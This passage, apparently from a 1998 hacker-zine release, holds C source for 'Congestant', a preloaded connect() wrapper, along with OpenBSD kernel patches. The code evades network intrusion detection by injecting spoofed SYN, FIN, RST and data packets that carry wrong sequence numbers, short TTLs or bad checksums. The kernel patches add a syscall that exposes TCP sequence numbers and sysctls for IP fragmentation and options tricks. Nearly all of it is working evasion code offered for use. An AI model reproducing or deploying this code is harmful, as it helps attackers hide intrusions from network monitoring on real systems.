|
ph->tcpl=htons(THLEN + dlen);
|
|
|
|
tcp->th_sport=sport;
|
|
tcp->th_dport=dport;
|
|
tcp->th_seq=seq;
|
|
tcp->th_ack=ack;
|
|
tcp->th_off=THLEN/4;
|
|
tcp->th_flags=flags;
|
|
if (ack) tcp->th_flags|=TH_ACK;
|
|
tcp->th_win=htons(16384);
|
|
memcpy(&(phtcp[PHLEN+THLEN]),data,dlen);
|
|
tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum;
|
|
|
|
ip->ip_v = 4;
|
|
ip->ip_hl = IHLEN >>2;
|
|
ip->ip_tos = 0;
|
|
ip->ip_len = htons(IHLEN+THLEN+dlen);
|
|
ip->ip_id = htons(getpid() & 0xFFFF);
|
|
ip->ip_off = 0;
|
|
ip->ip_ttl = ttl;
|
|
ip->ip_p = IPPROTO_TCP ;//TCP
|
|
ip->ip_sum = 0;
|
|
ip->ip_src = source;
|
|
ip->ip_dst = dest;
|
|
ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN);
|
|
|
|
memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen);
|
|
|
|
if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
|
|
{
|
|
perror("sendto");
|
|
}
|
|
|
|
free(phtcp);
|
|
free(pkt);
|
|
close(sock);
|
|
}
|
|
|
|
/* Utility routine for data insertion attacks */
|
|
|
|
void cong_send_data(long source, long dest,short int sport, short int dport,
|
|
long seq, long ack, int chk, int ttl)
|
|
{
|
|
char data[1024];
|
|
int i,j;
|
|
|
|
for (i=0;i<8;i++)
|
|
{
|
|
for (j=0;j<1024;data[j++]=random());
|
|
|
|
cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024),
|
|
htonl(ack), TH_PUSH, data, 1024, chk, ttl);
|
|
}
|
|
}
|
|
|
|
/* Utility routine for the ttl attack - potentially unreliable */
|
|
/* This could be rewritten to look for the icmp ttl exceeded and count
|
|
* the number of packets it receives, thus going much quicker. */
|
|
|
|
int cong_find_ttl(long source, long dest)
|
|
{
|
|
int sock;
|
|
long timestamp;
|
|
struct timeval tv,tvwait;
|
|
int ttl=0,result=255;
|
|
char buffer[8192];
|
|
int bread;
|
|
fd_set fds;
|
|
struct cong_ip_header *ip;
|
|
struct cong_icmp_header *icmp;
|
|
|
|
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
|
|
{
|
|
perror("socket");
|
|
exit(1);
|
|
}
|
|
tvwait.tv_sec=0;
|
|
tvwait.tv_usec=500;
|
|
|
|
gettimeofday(&tv,NULL);
|
|
timestamp=tv.tv_sec+3; // 3 second timeout
|
|
|
|
DEBUG("Determining ttl...");
|
|
|
|
while(tv.tv_sec<=timestamp)
|
|
{
|
|
gettimeofday(&tv,NULL);
|
|
if (ttl<50)
|
|
{
|
|
cong_send_icmp(source,dest,ttl,1,ttl);
|
|
cong_send_icmp(source,dest,ttl,1,ttl);
|
|
cong_send_icmp(source,dest,ttl,1,ttl++);
|
|
}
|
|
FD_ZERO(&fds);
|
|
FD_SET(sock,&fds);
|
|
select(sock+1,&fds,NULL,NULL,&tvwait);
|
|
if (FD_ISSET(sock,&fds))
|
|
{
|
|
if (bread=read(sock,buffer,sizeof(buffer)))
|
|
{
|
|
/* should we practice what we preach?
|
|
nah... too much effort :p */
|
|
|
|
ip=(struct cong_ip_header *)buffer;
|
|
if (ip->ip_src!=dest)
|
|
continue;
|
|
icmp=(struct cong_icmp_header *)(buffer +
|
|
((ip->ip_hl)<<2));
|
|
if (icmp->icmp_type!=0)
|
|
continue;
|
|
if (ntohs(icmp->icmp_seq)<result)
|
|
result=ntohs(icmp->icmp_seq);
|
|
}
|
|
}
|
|
}
|
|
if (cong_debug)
|
|
fprintf(stderr,"%d\n",result);
|
|
|
|
close(sock);
|
|
return result;
|
|
}
|
|
|
|
/* This is our init routine - reads conf env var*/
|
|
|
|
/* On the glibc box I tested, you cant dlopen from within
|
|
* _init, so there is a little hack here */
|
|
|
|
#if __GLIBC__ == 2
|
|
int cong_start(void)
|
|
#else
|
|
int _init(void)
|
|
#endif
|
|
{
|
|
void *handle;
|
|
char *conf;
|
|
|
|
#ifndef __OpenBSD__
|
|
handle=dlopen(LIB_PATH,1);
|
|
if (!handle)
|
|
{
|
|
fprintf(stderr,"Congestant Error: Can't load libc.\n");
|
|
return 0;
|
|
}
|
|
|
|
#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
|
|
cong_connect = dlsym(handle, "connect");
|
|
#else
|
|
cong_connect = dlsym(handle, "_connect");
|
|
#endif
|
|
|
|
if (!cong_connect)
|
|
{
|
|
fprintf(stderr,"Congestant Error: Can't find connect().\n");
|
|
return -1;
|
|
}
|
|
#endif /* not openbsd */
|
|
|
|
memset(&cong_config,0,sizeof(struct cong_config));
|
|
|
|
if (conf=getenv("CONGCONF"))
|
|
{
|
|
char *token;
|
|
token=strtok(conf,",");
|
|
while (token)
|
|
{
|
|
if (!strcmp(token,"OH"))
|
|
cong_config.one_host_attack=1;
|
|
else if (!strcmp(token,"FS"))
|
|
cong_config.fin_seq=1;
|
|
else if (!strcmp(token,"RS"))
|
|
cong_config.rst_seq=1;
|
|
else if (!strcmp(token,"SS"))
|
|
cong_config.syn_seq=1;
|
|
else if (!strcmp(token,"DS"))
|
|
cong_config.data_seq=1;
|
|
else if (!strcmp(token,"FC"))
|
|
cong_config.fin_chk=1;
|
|
else if (!strcmp(token,"RC"))
|
|
cong_config.rst_chk=1;
|
|
else if (!strcmp(token,"SC"))
|
|
cong_config.syn_chk=1;
|
|
else if (!strcmp(token,"DC"))
|
|
cong_config.data_chk=1;
|
|
else if (!strcmp(token,"FT"))
|
|
{
|
|
cong_config.fin_ttl=1;
|
|
cong_config.ttl=1;
|
|
}
|
|
else if (!strcmp(token,"RT"))
|
|
{
|
|
cong_config.rst_ttl=1;
|
|
cong_config.ttl=1;
|
|
}
|
|
else if (!strcmp(token,"DT"))
|
|
{
|
|
cong_config.data_ttl=1;
|
|
cong_config.ttl=1;
|
|
}
|
|
else if (!strcmp(token,"DEBUG"))
|
|
cong_debug=1;
|
|
|
|
token=strtok(NULL,",");
|
|
}
|
|
}
|
|
else /* default to full sneakiness */
|
|
{
|
|
cong_config.one_host_attack=1;
|
|
cong_config.fin_seq=1;
|
|
cong_config.rst_seq=1;
|
|
cong_config.syn_seq=1;
|
|
cong_config.data_seq=1;
|
|
cong_config.syn_chk=1;
|
|
cong_debug=1;
|
|
/* assume they have kernel support */
|
|
/* attacks are only compiled in under obsd*/
|
|
cong_config.data_chk=1;
|
|
cong_config.fin_chk=1;
|
|
cong_config.rst_chk=1;
|
|
cong_config.data_ttl=1;
|
|
cong_config.fin_ttl=1;
|
|
cong_config.rst_ttl=1;
|
|
cong_config.ttl=1;
|
|
}
|
|
|
|
cong_init=1;
|
|
}
|
|
|
|
/* This is our definition of connect */
|
|
|
|
#if (__svr4__ && __sun__)
|
|
int connect (int __fd, struct sockaddr * __addr, int __len)
|
|
#else
|
|
#if __GLIBC__ == 2
|
|
int connect __P ((int __fd,
|
|
__CONST_SOCKADDR_ARG __addr, socklen_t __len))
|
|
#else
|
|
int connect __P ((int __fd, const struct sockaddr * __addr, int __len))
|
|
#endif
|
|
#endif
|
|
{
|
|
int result,nl;
|
|
struct sockaddr_in sa;
|
|
|
|
long from,to;
|
|
short src,dest;
|
|
|
|
unsigned long fakeseq=424242;
|
|
int type=SOCK_STREAM;
|
|
unsigned long realseq=0;
|
|
unsigned long recvseq=0;
|
|
int ttl=255,ttlseq;
|
|
|
|
#if __GLIBC__ == 2
|
|
if (cong_init==0)
|
|
cong_start();
|
|
#endif
|
|
|
|
if (cong_init++==1)
|
|
fprintf(stderr,"Congestant v1 by horizon loaded.\n");
|
|
|
|
/* quick hack so we dont waste time with udp connects */
|
|
|
|
#ifdef KERNELSUPPORT
|
|
#ifdef __OpenBSD__
|
|
syscall(242,__fd,&type,&realseq,&recvseq);
|
|
#endif /* openbsd */
|
|
if (type!=SOCK_STREAM)
|
|
{
|
|
result=syscall(SYS_connect,__fd,__addr,__len);
|
|
return result;
|
|
}
|
|
#endif /* kernel support */
|
|
|
|
nl=sizeof(sa);
|
|
getsockname(__fd,(struct sockaddr *)&sa,&nl);
|
|
from=sa.sin_addr.s_addr;
|
|
src=sa.sin_port;
|
|
|
|
#if __GLIBC__ == 2
|
|
to=__addr.__sockaddr_in__->sin_addr.s_addr;
|
|
dest=__addr.__sockaddr_in__->sin_port;
|
|
#else
|
|
to=((struct sockaddr_in *)__addr)->sin_addr.s_addr;
|
|
dest=((struct sockaddr_in *)__addr)->sin_port;
|
|
#endif
|
|
|
|
if (cong_config.one_host_attack)
|
|
{
|
|
cong_send_tcp(inet_addr(FAKEHOST),
|
|
to, 4242, dest, 0, 0,
|
|
TH_SYN, NULL, 0, 0, 254);
|
|
DEBUG("Spoofed Fake SYN Packet\n");
|
|
}
|
|
|
|
if (cong_config.syn_chk)
|
|
{
|
|
/* This is a potential problem that could mess up
|
|
* client programs. If necessary, we bind the socket
|
|
* so that we can know what the source port will be
|
|
* prior to the connection.
|
|
*/
|
|
if (src==0)
|
|
{
|
|
bind(__fd,(struct sockaddr *)&sa,nl);
|
|
getsockname(__fd,(struct sockaddr *)&sa,&nl);
|
|
from=sa.sin_addr.s_addr;
|
|
src=sa.sin_port;
|
|
}
|
|
|
|
cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0,
|
|
TH_SYN, NULL, 0,100, 254);
|
|
DEBUG("Sent Pre-Connect Desynchronizing SYN.\n");
|
|
fakeseq++;
|
|
}
|
|
|
|
DEBUG("Connection commencing...\n");
|
|
|
|
#ifndef __OpenBSD__
|
|
result=cong_connect(__fd,__addr,__len);
|
|
#else /* not openbsd */
|
|
result=syscall(SYS_connect,__fd,__addr,__len);
|
|
#endif
|
|
|
|
if (result==-1)
|
|
{
|
|
if (errno!=EINPROGRESS)
|
|
return -1;
|
|
/* Let's only print the warning once */
|
|
if (cong_init++==2)
|
|
fprintf(stderr,"Warning: Non-blocking connects might not work right.\n");
|
|
}
|
|
|
|
/* In case an ephemeral port was assigned by connect */
|
|
|
|
nl=sizeof(sa);
|
|
getsockname(__fd,(struct sockaddr *)&sa,&nl);
|
|
from=sa.sin_addr.s_addr;
|
|
src=sa.sin_port;
|
|
|
|
if (cong_config.syn_seq)
|
|
{
|
|
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
|
|
TH_SYN, NULL, 0, 0, 254);
|
|
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
|
|
TH_SYN, NULL, 0, 0, 254);
|
|
|
|
DEBUG("Sent Desynchronizing SYNs.\n");
|
|
}
|
|
|
|
if (cong_config.data_seq)
|
|
{
|
|
cong_send_data(from,to,src,dest,(fakeseq),0,0,254);
|
|
DEBUG("Inserted 8K of data with incorrect sequence numbers.\n");
|
|
fakeseq+=8*1024;
|
|
}
|
|
|
|
if (cong_config.fin_seq)
|
|
{
|
|
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
|
|
TH_FIN, NULL, 0, 0, 254);
|
|
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
|
|
TH_FIN, NULL, 0, 0, 254);
|
|
|
|
DEBUG("Spoofed FINs with incorrect sequence numbers.\n");
|
|
}
|
|
|
|
if (cong_config.rst_seq)
|
|
{
|
|
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
|
|
TH_RST, NULL, 0, 0, 254);
|
|
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
|
|
TH_RST, NULL, 0, 0, 254);
|
|
|
|
DEBUG("Spoofed RSTs with incorrect sequence numbers.\n");
|
|
}
|
|
|
|
#ifdef KERNELSUPPORT
|
|
#ifdef __OpenBSD__
|
|
|
|
if (cong_config.ttl==1)
|
|
if (cong_ttl_cache!=to)
|
|
{
|
|
ttl=cong_find_ttl(from,to)-1;
|
|
cong_ttl_cache=to;
|
|
cong_ttl=ttl;
|
|
}
|
|
else
|
|
ttl=cong_ttl;
|
|
if (ttl<0)
|
|
{
|
|
fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n");
|
|
cong_config.data_ttl=0;
|
|
cong_config.fin_ttl=0;
|
|
cong_config.rst_ttl=0;
|
|
ttl=0;
|
|
}
|
|
|
|
syscall(242,__fd,&type,&realseq,&recvseq);
|
|
ttlseq=realseq;
|
|
|
|
#endif /*openbsd */
|
|
|
|
if (cong_config.data_ttl)
|
|
{
|
|
cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl);
|
|
DEBUG("Inserted 8K of data with short ttl.\n");
|
|
ttlseq+=1024*8;
|
|
}
|
|
|
|
if (cong_config.fin_ttl)
|
|
{
|
|
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
|
|
htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
|
|
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
|
|
htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
|
|
DEBUG("Spoofed FINs with short ttl.\n");
|
|
}
|
|
|
|
if (cong_config.rst_ttl)
|
|
{
|
|
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
|
|
htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
|
|
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
|
|
htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
|
|
DEBUG("Spoofed RSTs with short ttl.\n");
|
|
}
|
|
|
|
if (cong_config.data_chk)
|
|
{
|
|
cong_send_data(from,to,src,dest,(realseq),recvseq,100,254);
|
|
DEBUG("Inserted 8K of data with incorrect TCP checksums.\n");
|
|
realseq+=1024*8;
|
|
}
|
|
|
|
if (cong_config.fin_chk)
|
|
{
|
|
cong_send_tcp(from, to, src, dest, htonl(realseq++),
|
|
htonl(recvseq),TH_FIN, NULL, 0, 100, 254);
|
|
cong_send_tcp(from, to, src, dest, htonl(realseq++),
|
|
htonl(recvseq),TH_FIN, NULL, 0, 100, 254);
|
|
DEBUG("Spoofed FINs with incorrect TCP checksums.\n");
|
|
}
|
|
|
|
if (cong_config.rst_chk)
|
|
{
|
|
cong_send_tcp(from, to, src, dest, htonl(realseq++),
|
|
htonl(recvseq),TH_RST, NULL, 0, 100, 254);
|
|
cong_send_tcp(from, to, src, dest, htonl(realseq++),
|
|
htonl(recvseq),TH_RST, NULL, 0, 100, 254);
|
|
DEBUG("Spoofed RSTs with incorrect TCP checksums.\n");
|
|
}
|
|
|
|
#endif /* kernel support */
|
|
|
|
return result;
|
|
}
|
|
<-->
|
|
<++> congestant/netinet.patch
|
|
Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS
|
|
diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h
|
|
--- /usr/src/sys.2.4.orig/netinet/in.h Tue Dec 8 10:32:38 1998
|
|
+++ netinet/in.h Tue Dec 8 10:48:33 1998
|
|
@@ -325,7 +325,10 @@
|
|
#define IPCTL_IPPORT_LASTAUTO 8
|
|
#define IPCTL_IPPORT_HIFIRSTAUTO 9
|
|
#define IPCTL_IPPORT_HILASTAUTO 10
|
|
-#define IPCTL_MAXID 11
|
|
+#define IPCTL_FRAG_HACK_HEAD 11
|
|
+#define IPCTL_FRAG_HACK_BODY 12
|
|
+#define IPCTL_OPTIONS_HACK 13
|
|
+#define IPCTL_MAXID 14
|
|
|
|
#define IPCTL_NAMES { \
|
|
{ 0, 0 }, \
|
|
@@ -339,6 +342,9 @@
|
|
{ "portlast", CTLTYPE_INT }, \
|
|
{ "porthifirst", CTLTYPE_INT }, \
|
|
{ "porthilast", CTLTYPE_INT }, \
|
|
+ { "fraghackhead", CTLTYPE_INT }, \
|
|
+ { "fraghackbody", CTLTYPE_INT }, \
|
|
+ { "optionshack", CTLTYPE_INT }, \
|
|
}
|
|
|
|
#ifndef _KERNEL
|
|
diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c
|
|
--- /usr/src/sys.2.4.orig/netinet/ip_input.c Tue Dec 8 10:32:41 1998
|
|
+++ netinet/ip_input.c Tue Dec 8 10:48:33 1998
|
|
@@ -106,6 +106,10 @@
|
|
extern int ipport_hilastauto;
|
|
extern struct baddynamicports baddynamicports;
|
|
|
|
+extern int ip_fraghackhead;
|
|
+extern int ip_fraghackbody;
|
|
+extern int ip_optionshack;
|
|
+
|
|
extern struct domain inetdomain;
|
|
extern struct protosw inetsw[];
|
|
u_char ip_protox[IPPROTO_MAX];
|
|
@@ -1314,6 +1318,15 @@
|
|
case IPCTL_IPPORT_HILASTAUTO:
|
|
return (sysctl_int(oldp, oldlenp, newp, newlen,
|
|
&ipport_hilastauto));
|
|
+ case IPCTL_FRAG_HACK_HEAD:
|
|
+ return (sysctl_int(oldp, oldlenp, newp, newlen,
|
|
+ &ip_fraghackhead));
|
|
+ case IPCTL_FRAG_HACK_BODY:
|
|
+ return (sysctl_int(oldp, oldlenp, newp, newlen,
|
|
+ &ip_fraghackbody));
|
|
+ case IPCTL_OPTIONS_HACK:
|
|
+ return (sysctl_int(oldp, oldlenp, newp, newlen,
|
|
+ &ip_optionshack));
|
|
default:
|
|
return (EOPNOTSUPP);
|
|
}
|
|
diff -u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c
|
|
--- /usr/src/sys.2.4.orig/netinet/ip_output.c Tue Dec 8 10:32:43 1998
|
|
+++ netinet/ip_output.c Tue Dec 8 11:00:14 1998
|
|
@@ -88,6 +88,10 @@
|
|
extern int ipsec_esp_network_default_level;
|
|
#endif
|
|
|
|
+int ip_fraghackhead=0;
|
|
+int ip_fraghackbody=0;
|
|
+int ip_optionshack=0;
|
|
+
|
|
/*
|
|
* IP output. The packet in mbuf chain m contains a skeletal IP
|
|
* header (with len, off, ttl, proto, tos, src, dst).
|
|
@@ -124,6 +128,9 @@
|
|
struct inpcb *inp;
|
|
#endif
|
|
|
|
+ /* HACK */
|
|
+ int fakeheadmtu;
|
|
+
|
|
va_start(ap, m0);
|
|
opt = va_arg(ap, struct mbuf *);
|
|
ro = va_arg(ap, struct route *);
|
|
@@ -144,7 +151,50 @@
|
|
m = ip_insertoptions(m, opt, &len);
|
|
hlen = len;
|
|
}
|
|
+ /* HACK */
|
|
+ else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
|
|
+ {
|
|
+ struct mbuf *n=NULL;
|
|
+ register struct ip* ip= mtod(m, struct ip*);
|
|
+
|
|
+ if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat)
|
|
+ {
|
|
+ MGETHDR(n, M_DONTWAIT, MT_HEADER);
|
|
+ if (n)
|
|
+ {
|
|
+ n->m_pkthdr.len = m->m_pkthdr.len + 40;
|
|
+ m->m_len -= sizeof(struct ip);
|
|
+ m->m_data += sizeof(struct ip);
|
|
+ n->m_next = m;
|
|
+ m = n;
|
|
+ m->m_len = 40 + sizeof(struct ip);
|
|
+ m->m_data += max_linkhdr;
|
|
+ bcopy((caddr_t)ip, mtod(m, caddr_t),
|
|
+ sizeof(struct ip));
|
|
+ }
|
|
+ }
|
|
+ else
|
|
+ {
|
|
+ m->m_data -= 40;
|
|
+ m->m_len += 40;
|
|
+ m->m_pkthdr.len += 40;
|
|
+ ovbcopy((caddr_t)ip, mtod(m, caddr_t),
|
|
+ sizeof(struct ip));
|
|
+ n++; /* make n!=0 */
|
|
+ }
|
|
+ if (n!=0)
|
|
+ {
|
|
+ ip = mtod(m, struct ip *);
|
|
+ memset((caddr_t)(ip+1),0,40);
|
|
+ ip->ip_len += 40;
|
|
+
|
|
+ hlen=60;
|
|
+ len=60;
|
|
+ }
|
|
+ }
|
|
+
|
|
ip = mtod(m, struct ip *);
|
|
+
|
|
/*
|
|
* Fill in IP header.
|
|
*/
|
|
@@ -721,7 +771,15 @@
|
|
/*
|
|
* If small enough for interface, can just send directly.
|
|
*/
|
|
- if ((u_int16_t)ip->ip_len <= ifp->if_mtu) {
|
|
+
|
|
+ /* HACK */
|
|
+
|
|
+ fakeheadmtu=ifp->if_mtu;
|
|
+
|
|
+ if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
|
|
+ fakeheadmtu=ip_fraghackhead;
|
|
+
|
|
+ if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) {
|
|
ip->ip_len = htons((u_int16_t)ip->ip_len);
|
|
ip->ip_off = htons((u_int16_t)ip->ip_off);
|
|
ip->ip_sum = 0;
|
|
@@ -738,7 +796,10 @@
|
|
ipstat.ips_cantfrag++;
|
|
goto bad;
|
|
}
|
|
- len = (ifp->if_mtu - hlen) &~ 7;
|
|
+
|
|
+/* HACK */
|
|
+
|
|
+ len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7;
|
|
if (len < 8) {
|
|
error = EMSGSIZE;
|
|
goto bad;
|
|
@@ -748,6 +809,9 @@
|
|
int mhlen, firstlen = len;
|
|
struct mbuf **mnext = &m->m_nextpkt;
|
|
|
|
+ /*HACK*/
|
|
+ int first=0;
|
|
+
|
|
/*
|
|
* Loop through length of segment after first fragment,
|
|
* make new header and copy data of each part and link onto chain.
|
|
@@ -755,7 +819,9 @@
|
|
m0 = m;
|
|
mhlen = sizeof (struct ip);
|
|
for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) {
|
|
- MGETHDR(m, M_DONTWAIT, MT_HEADER);
|
|
+ if (first && ip_fraghackbody)
|
|
+ len=(ip_fraghackbody-hlen) &~7;
|
|
+ MGETHDR(m, M_DONTWAIT, MT_HEADER);
|
|
if (m == 0) {
|
|
error = ENOBUFS;
|
|
ipstat.ips_odropped++;
|
|
@@ -791,6 +857,7 @@
|
|
mhip->ip_sum = 0;
|
|
mhip->ip_sum = in_cksum(m, mhlen);
|
|
ipstat.ips_ofragments++;
|
|
+ first=1;
|
|
}
|
|
/*
|
|
* Update first fragment by trimming what's been copied out
|
|
Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite
|
|
diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c
|
|
--- /usr/src/sys.2.4.orig/netinet/tcp_subr.c Tue Dec 8 10:32:45 1998
|
|
+++ netinet/tcp_subr.c Tue Dec 8 10:48:33 1998
|
|
@@ -465,3 +465,18 @@
|
|
if (tp)
|
|
tp->snd_cwnd = tp->t_maxseg;
|
|
}
|
|
+
|
|
+/* HACK - This is a tcp subroutine added to grab the sequence numbers */
|
|
+
|
|
+void tcp_getseq(struct socket *so, struct mbuf *m)
|
|
+{
|
|
+ struct inpcb *inp;
|
|
+ struct tcpcb *tp;
|
|
+
|
|
+ if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp)))
|
|
+ {
|
|
+ m->m_len=sizeof(unsigned long)*2;
|
|
+ *(mtod(m,unsigned long *))=tp->snd_nxt;
|
|
+ *((mtod(m,unsigned long *))+1)=tp->rcv_nxt;
|
|
+ }
|
|
+}
|
|
diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c
|
|
--- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c Tue Dec 8 10:32:45 1998
|
|
+++ netinet/tcp_usrreq.c Tue Dec 8 10:48:33 1998
|
|
@@ -363,6 +363,10 @@
|
|
in_setsockaddr(inp, nam);
|
|
break;
|
|
|
|
+ case PRU_SOCKINFO:
|
|
+ tcp_getseq(so,m);
|
|
+ break;
|
|
+
|
|
case PRU_PEERADDR:
|
|
in_setpeeraddr(inp, nam);
|
|
break;
|
|
diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h
|
|
--- /usr/src/sys.2.4.orig/netinet/tcp_var.h Tue Dec 8 10:32:45 1998
|
|
+++ netinet/tcp_var.h Tue Dec 8 10:48:34 1998
|
|
@@ -291,6 +291,8 @@
|
|
void tcp_pulloutofband __P((struct socket *,
|
|
struct tcpiphdr *, struct mbuf *));
|
|
void tcp_quench __P((struct inpcb *, int));
|
|
+/*HACK*/
|
|
+void tcp_getseq __P((struct socket *, struct mbuf *));
|
|
int tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *));
|
|
void tcp_respond __P((struct tcpcb *,
|
|
struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int));
|
|
<-->
|
|
<++> congestant/kern.patch
|
|
--- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c Thu Dec 3 11:00:01 1998
|
|
+++ kern/uipc_syscalls.c Thu Dec 3 11:13:44 1998
|
|
@@ -924,6 +924,53 @@
|
|
}
|
|
|
|
/*
|
|
+ * Get socket information. HACK
|
|
+ */
|
|
+
|
|
+/* ARGSUSED */
|
|
+int
|
|
+sys_getsockinfo(p, v, retval)
|
|
+ struct proc *p;
|
|
+ void *v;
|
|
+ register_t *retval;
|
|
+{
|
|
+ register struct sys_getsockinfo_args /* {
|
|
+ syscallarg(int) fdes;
|
|
+ syscallarg(int *) type;
|
|
+ syscallarg(int *) seq;
|
|
+ syscallarg(int *) ack;
|
|
+ } */ *uap = v;
|
|
+ struct file *fp;
|
|
+ register struct socket *so;
|
|
+ struct mbuf *m;
|
|
+ int error;
|
|
+
|
|
+ if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0)
|
|
+ return (error);
|
|
+
|
|
+ so = (struct socket *)fp->f_data;
|
|
+
|
|
+ error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short));
|
|
+
|
|
+ if (!error && (so->so_type==SOCK_STREAM))
|
|
+ {
|
|
+ m = m_getclr(M_WAIT, MT_DATA);
|
|
+ if (m == NULL)
|
|
+ return (ENOBUFS);
|
|
+
|
|
+ error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0);
|
|
+
|
|
+ if (!error)
|
|
+ error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long));
|
|
+ if (!error)
|
|
+ error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long));
|
|
+ m_freem(m);
|
|
+ }
|
|
+
|
|
+ return error;
|
|
+}
|
|
+
|
|
+/*
|
|
* Get name of peer for connected socket.
|
|
*/
|
|
/* ARGSUSED */
|
|
--- /usr/src/sys.2.4.orig/kern/syscalls.master Thu Dec 3 11:00:00 1998
|
|
+++ kern/syscalls.master Thu Dec 3 11:14:44 1998
|
|
@@ -476,7 +476,8 @@
|
|
240 STD { int sys_nanosleep(const struct timespec *rqtp, \
|
|
struct timespec *rmtp); }
|
|
241 UNIMPL
|
|
-242 UNIMPL
|
|
+242 STD { int sys_getsockinfo(int fdes, int *type, \
|
|
+ int *seq, int *ack); }
|
|
243 UNIMPL
|
|
244 UNIMPL
|
|
245 UNIMPL
|
|
<-->
|
|
<++> congestant/sys.patch
|
|
--- /usr/src/sys.2.4.orig/sys/protosw.h Thu Dec 3 11:00:39 1998
|
|
+++ sys/protosw.h Thu Dec 3 11:16:41 1998
|
|
@@ -148,8 +148,8 @@
|
|
#define PRU_SLOWTIMO 19 /* 500ms timeout */
|
|
#define PRU_PROTORCV 20 /* receive from below */
|
|
#define PRU_PROTOSEND 21 /* send to below */
|
|
-
|
|
-#define PRU_NREQ 21
|
|
+#define PRU_SOCKINFO 22
|
|
+#define PRU_NREQ 22
|
|
|
|
#ifdef PRUREQUESTS
|
|
char *prurequests[] = {
|
|
@@ -158,7 +158,7 @@
|
|
"RCVD", "SEND", "ABORT", "CONTROL",
|
|
"SENSE", "RCVOOB", "SENDOOB", "SOCKADDR",
|
|
"PEERADDR", "CONNECT2", "FASTTIMO", "SLOWTIMO",
|
|
- "PROTORCV", "PROTOSEND",
|
|
+ "PROTORCV", "PROTOSEND", "SOCKINFO",
|
|
};
|
|
#endif
|
|
<-->
|
|
|
|
----[ EOF
|